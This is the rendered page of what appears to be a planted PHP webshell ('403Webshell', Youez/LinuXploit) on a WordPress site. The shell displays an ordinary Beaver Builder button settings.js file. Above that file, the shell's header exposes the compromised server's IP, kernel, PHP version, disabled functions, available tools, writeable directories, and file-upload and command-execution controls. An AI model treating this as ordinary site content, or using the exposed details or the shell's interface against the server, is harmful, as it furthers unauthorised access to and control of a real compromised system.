403Webshell
Server IP : 43.130.17.34  /  Your IP : 216.73.217.6
Web Server : nginx/1.28.0
System : Linux VM-4-12-opencloudos 6.6.92-34.1.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 25 21:32:13 CST 2025 x86_64
User : www ( 1000)
PHP Version : 8.0.26
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/yespkg.com/wp-content/plugins/bb-plugin/modules/button/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/yespkg.com/wp-content/plugins/bb-plugin/modules/button/js/settings.js
(function($){

	FLBuilder.registerModuleHelper('button', {

		rules: {
			link: {
				required: true
			},
			border_size: {
				required: true,
				number: true
			},
			bg_opacity: {
				required: true,
				number: true
			},
			font_size: {
				required: true,
				number: true
			},
			padding: {
				required: true,
				number: true
			},
			border_radius: {
				required: true,
				number: true
			}
		},
		
		init: function()
		{
			$( 'input[name=bg_color]' ).on( 'change', this._bgColorChange );			
			this._bgColorChange();

			$( 'select[name=click_action]' ).on( 'change', this._clickActionChange );			
			this._clickActionChange();

			$( 'select[name=lightbox_content_type]' ).on( 'change', this._contentTypeChange );			
			this._contentTypeChange();

		},
		
		_bgColorChange: function()
		{
			var bgColor = $( 'input[name=bg_color]' ),
				style   = $( '#fl-builder-settings-section-style' );
			
			if ( '' == bgColor.val() ) {
				style.hide();
			}
			else {
				style.show();
			}
		},

		_clickActionChange: function()
		{
			var clickAction = $( 'select[name=click_action]' ).val(),
				link 		= $( 'input[name=link]' );				

			if ( clickAction == 'link' ) {
				link.rules('add', {
					required: true
				});
			}
			else {
				link.rules('remove');
			}
		},

		_contentTypeChange: function()
		{
			var contentType 	= $( 'select[name=lightbox_content_type]' ).val(),
				fieldCode 		= $( '.fl-code-field' ),
				activeEditor 	= fieldCode.find('.ace_editor'),
				editor 			= ace.edit(activeEditor[0]);
			
			/**
			 * Fix for initializing hidden Ace editor
			 */
			if (contentType == 'html') {
				editor.resize();
				editor.renderer.updateFull();
			}
		}
	});

})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit